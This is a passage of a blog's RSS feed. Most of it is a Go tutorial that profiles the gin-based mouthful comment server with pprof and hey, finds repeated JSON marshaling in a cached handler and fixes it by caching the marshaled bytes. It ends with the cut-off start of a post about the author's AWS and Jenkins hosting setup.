            <description><![CDATA[ <p>Go comes with great tools for profiling out of the box. It&rsquo;s one of the features I&rsquo;ve come to love. I&rsquo;m not going to go into detail about pprof, but if you need a primer, <a href="https://jvns.ca/blog/2017/09/24/profiling-go-with-pprof/">Julia Evans has a great post about it on her blog</a>. Instead, I&rsquo;ll try and show a real world example of the optimizations you can make using <a href="https://github.com/google/pprof">pprof</a>. I&rsquo;ll use pprof on <a href="https://github.com/vkuznecovas/mouthful">mouthful</a>, a gin based server, to see what I could do to make it just a bit faster. It turns out I can detect a rather stupid mistake I&rsquo;ve made.</p>]]></description>
            <content:encoded><![CDATA[ <p>Go comes with great tools for profiling out of the box. It&rsquo;s one of the features I&rsquo;ve come to love. I&rsquo;m not going to go into detail about pprof, but if you need a primer, <a href="https://jvns.ca/blog/2017/09/24/profiling-go-with-pprof/">Julia Evans has a great post about it on her blog</a>. Instead, I&rsquo;ll try and show a real world example of the optimizations you can make using <a href="https://github.com/google/pprof">pprof</a>. I&rsquo;ll use pprof on <a href="https://github.com/vkuznecovas/mouthful">mouthful</a>, a gin based server, to see what I could do to make it just a bit faster. It turns out I can detect a rather stupid mistake I&rsquo;ve made.</p>
<h2 id="enabling-profiling-for-gin">Enabling profiling for gin</h2>
<p>First, we&rsquo;ll need to enable profiling on gin. This can be achieved by using a middleware. Luckily, there are a few open source middlewares we can choose so that we don&rsquo;t have to do it ourselves. <a href="https://github.com/gin-contrib/pprof">I&rsquo;ll use gin-contrib/pprof</a>. To install it</p>
<pre tabindex="0"><code>go get github.com/gin-contrib/pprof
</code></pre><p>Once that is done, we&rsquo;ll just need to register our router with the middleware. In case of mouthful, we&rsquo;ll do that by changing the <code>./api/server.go</code> file. In there, we&rsquo;ll register the pprof middleware just after creating our router. So the line</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">New</span>()
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ...</span></span></span></code></pre></div>
<p>Becomes</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">New</span>()
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pprof</span>.<span style="color:#a6e22e">Register</span>(<span style="color:#a6e22e">r</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">pprof</span>.<span style="color:#a6e22e">Options</span>{<span style="color:#a6e22e">RoutePrefix</span>: <span style="color:#e6db74">&#34;debug/pprof&#34;</span>})
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ...</span></span></span></code></pre></div>
<p>What this does, is expose a set of endpoints on the mouthful server and enable profiling. The endpoints will have the path prefix specified by the RoutePrefix in the Options struct. In our case, assuming the default port for mouthful is left in tact, it means that there&rsquo;s a bunch of endpoints sitting under <code>http://localhost:8080/debug/pprof</code>. Under debug mode, gin will print those endpoints like so:</p>
<pre tabindex="0"><code>[GIN-debug] GET    /debug/pprof/block        --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/heap         --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/profile      --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] POST   /debug/pprof/symbol       --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/symbol       --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/trace        --&gt; github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
</code></pre><p>For more information about each of these, <a href="https://jvns.ca/blog/2017/09/24/profiling-go-with-pprof/">refer to Julia&rsquo;s post</a>. I&rsquo;m interested in CPU usage, so for this demo, we&rsquo;ll stick with the <code>/debug/pprof/profile</code>.</p>
<h2 id="generating-a-report">Generating a report</h2>
<p>To generate a report, all we need to do is run the mouthful instance and start gathering samples with pprof by running this command</p>
<pre tabindex="0"><code>go tool pprof http://localhost:8080/debug/pprof/profile
</code></pre><p>It will run for 30 seconds, trying to get the samples it needs to provide us with information. We&rsquo;ll get an output like this:</p>
<pre tabindex="0"><code>$ go tool pprof http://localhost:8080/debug/pprof/profile
Fetching profile over HTTP from http://localhost:8080/debug/pprof/profile
Saved profile in /home/viktoras/pprof/pprof.main.samples.cpu.005.pb.gz
File: main
Build ID: 537f56f9e9c677deda0f029755cf52cfbc1b35ca
Type: cpu
Time: Aug 22, 2018 at 10:51am (EEST)
Duration: 30s, Total samples = 10ms (0.033%)
</code></pre><p>Here we can see that we did not gather a lot of samples. That&rsquo;s due to the fact that our mouthful instance is not doing much. For a proper profiling, I&rsquo;ll simulate some serious load on mouthful, by using <a href="https://github.com/rakyll/hey">hey</a>. Hey is excellent for quick api load tests.</p>
<p>But first, we need to create some comments. For that, I&rsquo;ll run a loop with curl, like so:</p>
<pre tabindex="0"><code>#!/bin/bash
for i in {1..100}
do
curl --request POST \
  --url http://localhost:8080/v1/comments \
  --header &#39;content-type: application/json&#39; \
  --data &#39;{&#34;path&#34;: &#34;/test&#34;,&#34;body&#34;: &#34;this is just a test&#34;,&#34;author&#34;: &#34;vik&#34;}&#39;
done
</code></pre><p>With the comments ready, we can finally do a proper profile. I&rsquo;ll first restart mouthful with debug flags off, that should improve performance quite a bit, but that&rsquo;s optional. It&rsquo;s time to run hey on the endpoint that fetches the comments.</p>
<p>The following will make hey fetch the provided endpoint a million times, using 100 concurrent requests.</p>
<pre tabindex="0"><code>hey -n 1000000 -c 100 http://localhost:8080/v1/comments?uri=/test
</code></pre><p>I fire up hey, and on a separate terminal start the pprof again. After 30 seconds, you&rsquo;ll see something like this:</p>
<pre tabindex="0"><code>$ go tool pprof http://localhost:8080/debug/pprof/profile
Fetching profile over HTTP from http://localhost:8080/debug/pprof/profile
Saved profile in /home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz
File: main
Build ID: 537f56f9e9c677deda0f029755cf52cfbc1b35ca
Type: cpu
Time: Aug 22, 2018 at 11:06am (EEST)
Duration: 30.21s, Total samples = 1.02mins (201.79%)
Entering interactive mode (type &#34;help&#34; for commands, &#34;o&#34; for options)
</code></pre><p>We now have more samples, perhaps that&rsquo;s something we can work with. You can also notice that pprof stays in interactive mode. I personally don&rsquo;t use the interactive mode, but that&rsquo;s just me. Feel free to use it if you like it.</p>
<p>Hey also reports, that mouthful managed 3861.2859 requests/second.</p>
<p>Anyway, back to pprof. So now we have the profile saved at (in my case anyway) the following path.</p>
<pre tabindex="0"><code>/home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz
</code></pre><p>To make sense of the profile, we&rsquo;ll use pprofs&rsquo; png feature, to export the information as a graph we can read with human eyes.</p>
<pre tabindex="0"><code>go tool pprof -png /home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz &gt; profile1.png
</code></pre><p>The command outputs an image you can see below(click for the full size):</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/profile1.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/08/23/Profiling-gin-with-pprof/profile1_hu_55fc61cf36827276.png 500w,
  /2018/08/23/Profiling-gin-with-pprof/profile1_hu_6b8cfe17ade9f62b.png 800w,
  /2018/08/23/Profiling-gin-with-pprof/profile1_hu_e60d774bd09c854.png 1200w,
  /2018/08/23/Profiling-gin-with-pprof/profile1_hu_7e5cb23ec2e4b342.png 1500w'
  src="https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/profile1_hu_e60d774bd09c854.png" 
  alt="Graph generated by pprof.">
</a>
</div>
<h2 id="making-sense-of-the-graph">Making sense of the graph</h2>
<p>The graph shows the time that mouthful spent on certain methods. You might get a few different paths on your profiles, but here we only get shown 2. Pprof hides the nodes it thinks are not as important. Using this graph, we can understand where the bottlenecks are. In our case, the vast majority of the time(46.53s) was spent in <code>github.com/vkuznecovas/mouthful/vendor/github.com/gin-gonic/gin</code>. Following the stack we see that <code>mouthful/api GetComments</code> gets 46 seconds of that. If we go even further down the path, we&rsquo;ll soon see that nearly 41 second of the 46 was spent doing json encoding(encoding/json encode). I&rsquo;m getting the feeling this is something we can fix.</p>
<h2 id="understanding-the-issue">Understanding the issue</h2>
<p>So here&rsquo;s what the GetComments looks like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Router</span>) <span style="color:#a6e22e">GetComments</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">path</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Query</span>(<span style="color:#e6db74">&#34;uri&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">400</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">path</span> = <span style="color:#a6e22e">NormalizePath</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">cacheHit</span>, <span style="color:#a6e22e">found</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">path</span>); <span style="color:#a6e22e">found</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">comments</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cacheHit</span>.(<span style="color:#f92672">*</span>[]<span style="color:#a6e22e">dbModel</span>.<span style="color:#a6e22e">Comment</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>.<span style="color:#a6e22e">Header</span>().<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;X-Cache&#34;</span>, <span style="color:#e6db74">&#34;HIT&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">JSON</span>(<span style="color:#ae81ff">200</span>, <span style="color:#f92672">*</span><span style="color:#a6e22e">comments</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">db</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">db</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">comments</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">GetCommentsByThread</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">500</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrInternalServerError</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">comments</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">path</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">comments</span>, <span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">DefaultExpiration</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>.<span style="color:#a6e22e">Header</span>().<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;X-Cache&#34;</span>, <span style="color:#e6db74">&#34;MISS&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">comments</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">JSON</span>(<span style="color:#ae81ff">200</span>, <span style="color:#a6e22e">comments</span>)
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">JSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>I know it&rsquo;s not the prettiest of methods, but can you spot the issue? The problem is related to caching. What I&rsquo;m doing here, is storing the comment struct array in cache and the returning it to the consumer, using the gin contexts&rsquo; JSON method. The JSON method takes the objects from cache and has to marshal them to JSON for every request. We could optimize it by storing the already marshaled JSON instead of the comment structs and returning it without calling the gins&rsquo; JSON method.</p>
<h2 id="fixing-it">Fixing it</h2>
<p>After a quick change, the GetComments starts looking like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Router</span>) <span style="color:#a6e22e">GetComments</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">path</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Query</span>(<span style="color:#e6db74">&#34;uri&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">400</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">path</span> = <span style="color:#a6e22e">NormalizePath</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">cacheHit</span>, <span style="color:#a6e22e">found</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">path</span>); <span style="color:#a6e22e">found</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">jsonString</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cacheHit</span>.(<span style="color:#f92672">*</span>[]<span style="color:#66d9ef">byte</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>.<span style="color:#a6e22e">Header</span>().<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;X-Cache&#34;</span>, <span style="color:#e6db74">&#34;HIT&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#ae81ff">200</span>, <span style="color:#e6db74">&#34;application/json; charset=utf-8&#34;</span>, <span style="color:#f92672">*</span><span style="color:#a6e22e">jsonString</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">db</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">db</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">comments</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">GetCommentsByThread</span>(<span style="color:#a6e22e">path</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">500</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrInternalServerError</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">comments</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">js</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Marshal</span>(<span style="color:#a6e22e">comments</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">JSON</span>(<span style="color:#ae81ff">500</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrInternalServerError</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">path</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">js</span>, <span style="color:#a6e22e">cache</span>.<span style="color:#a6e22e">DefaultExpiration</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>.<span style="color:#a6e22e">Header</span>().<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;X-Cache&#34;</span>, <span style="color:#e6db74">&#34;MISS&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">comments</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#ae81ff">200</span>, <span style="color:#e6db74">&#34;application/json; charset=utf-8&#34;</span>, <span style="color:#a6e22e">js</span>)
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">JSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithStatusJSON</span>(<span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">global</span>.<span style="color:#a6e22e">ErrThreadNotFound</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Instead of storing the comments as structs, we now store the marshaled byte representation of struct in the cache. Once the user requests the comments, if we have them in cache, we don&rsquo;t need to re-marshal them. This should save us A LOT of time. Time to profile again.</p>
<p>Hey now reports a massive increase in request throughput: 22244.9003 requests/sec. That&rsquo;s quite a margin.</p>
<p>Here&rsquo;s what pprof now generates(click for the full size):</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/profile2.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/08/23/Profiling-gin-with-pprof/profile2_hu_503ba5f777b86e41.png 500w,
  /2018/08/23/Profiling-gin-with-pprof/profile2_hu_fbe81dcf8c3a8504.png 800w,
  /2018/08/23/Profiling-gin-with-pprof/profile2_hu_7a71fb2e558d2f7f.png 1200w,
  /2018/08/23/Profiling-gin-with-pprof/profile2_hu_9b2ecfcd89effae3.png 1500w'
  src="https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/profile2_hu_7a71fb2e558d2f7f.png" 
  alt="Graph generated by pprof.">
</a>
</div>
<p>It now seems most of the time is actually spent writing data, instead of marshaling it. Huge win performance wise.</p>
<p>If you&rsquo;re interested, <a href="https://gist.github.com/vkuznecovas/80f837879f4cb30c70ca746ecd9bfb39">here&rsquo;s the mouthful config.json file I&rsquo;ve used for this demo</a>. Also, this is <a href="https://github.com/vkuznecovas/mouthful/pull/92">the PR with the fix I&rsquo;ve merged in mouthful</a>.</p>
<blockquote>
<p>I hope you enjoyed this quick walkthrough of using pprof. Do let me know if I&rsquo;ve made any mistakes in the comments below. I love hearing your feedback!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>How I host this blog, CI and tooling</title>
            <link>https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/</link>
            <pubDate>Wed, 15 Aug 2018 22:21:58 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/</guid>
            <description><![CDATA[ <p>There are quite a few components to this blog now. There&rsquo;s an AWS S3 bucket the blog gets served from, there&rsquo;s a backend service responsible for the <a href="https://github.com/vkuznecovas/mouthful">mouthful</a> comments, there&rsquo;s another instance of the service for the <a href="https://mouthful.dizzy.zone">mouthful demo page</a>, with another S3 bucket to serve the page for it. There&rsquo;s also a yet unused service living in the same &ldquo;cluster&rdquo; as these two(It&rsquo;ll get added to this blog soon™). There&rsquo;s quite a few private github repositories that in unison with a <a href="https://jenkins.io/">Jenkins</a> instance  make this all work. Oh, and everything is running under Docker, with ECS handling all the orchestration for that. For the data stores, I use dynamodb, mysql and sqlite. There&rsquo;s also some miscellaneous bits and bobs, like the <a href="https://grafana.com/">grafana</a> instance that plots response times and uptimes of the APIs. I&rsquo;ve tried to keep as much as I can inside AWS but due to cost constraints I had to do some workarounds. So how does it all work then?</p>]]></description>
            <content:encoded><![CDATA[ <p>There are quite a few components to this blog now. There&rsquo;s an AWS S3 bucket the blog gets served from, there&rsquo;s a backend service responsible for the <a href="https://github.com/vkuznecovas/mouthful">mouthful</a> comments, there&rsquo;s another instance of the service for the <a href="https://mouthful.dizzy.zone">mouthful demo page</a>, with another S3 bucket to serve the page for it. There&rsquo;s also a yet unused service living in the same &ldquo;cluster&rdquo; as these two(It&rsquo;ll get added to this blog soon™). There&rsquo;s quite a few private github repositories that in unison with a <a href="https://jenkins.io/">Jenkins</a> instance  make this all work. Oh, and everything is running under Docker, with ECS handling all the orchestration for that. For the data stores, I use dynamodb, mysql and sqlite. There&rsquo;s also some miscellaneous bits and bobs, like the <a href="https://grafana.com/">grafana</a> instance that plots response times and uptimes of the APIs. I&rsquo;ve tried to keep as much as I can inside AWS but due to cost constraints I had to do some workarounds. So how does it all work then?</p>
<blockquote>
<p>Firstly, a disclaimer. Since I&rsquo;m not making money off this blog, I really really want it to be as cheap as it can. Therefore, what you&rsquo;ll find below might scare the enterprise devops.</p></blockquote>
<h2 id="jenkins">Jenkins</h2>
<p>Initially, I had used <a href="https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/">a raspberry pi3 for the jenkins server</a>. That was mostly due to having a spare rpi3 laying around and not having much to do with it. Also since I&rsquo;m cheap, and AWS EC2 instances do cost a bit of money. I&rsquo;ve since decided to upgrade, as the storage was struggling to keep up with the load I was putting it under. The blog is powered by <a href="https://hexo.io/">hexo</a> and that is node based meaning lots and lots of small files need to written to storage when an <code>npm i</code> is run. The SD card was the major bottleneck here. A build of the blog in a clean workspace would take at least half an hour. I&rsquo;ve since upgraded to an old laptop I&rsquo;ve got laying around. It&rsquo;s a Dell XPS 15(probably a 2009 model). I&rsquo;ve removed the old hard drive, and put in a 250GB SSD in it. The i5 and the 6GB of RAM in the laptop is enough to run jenkins quite comfortably. It&rsquo;s running CentOS. It&rsquo;s definitely the single point of failure in the whole infrastructure, so I&rsquo;m making sure to back up every single job I have in a private github repo, making sure to encrypt it before a push 